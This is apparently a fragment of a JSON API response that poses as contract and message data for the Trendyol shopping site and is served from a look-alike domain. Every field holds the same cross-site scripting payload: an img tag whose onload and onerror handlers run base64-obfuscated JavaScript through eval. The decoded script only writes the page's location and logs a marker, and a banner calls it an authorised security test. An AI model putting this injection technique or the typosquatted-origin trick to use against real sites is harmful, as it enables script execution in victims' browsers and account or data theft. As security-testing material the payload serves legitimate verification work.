id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"}],"messages":[{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div 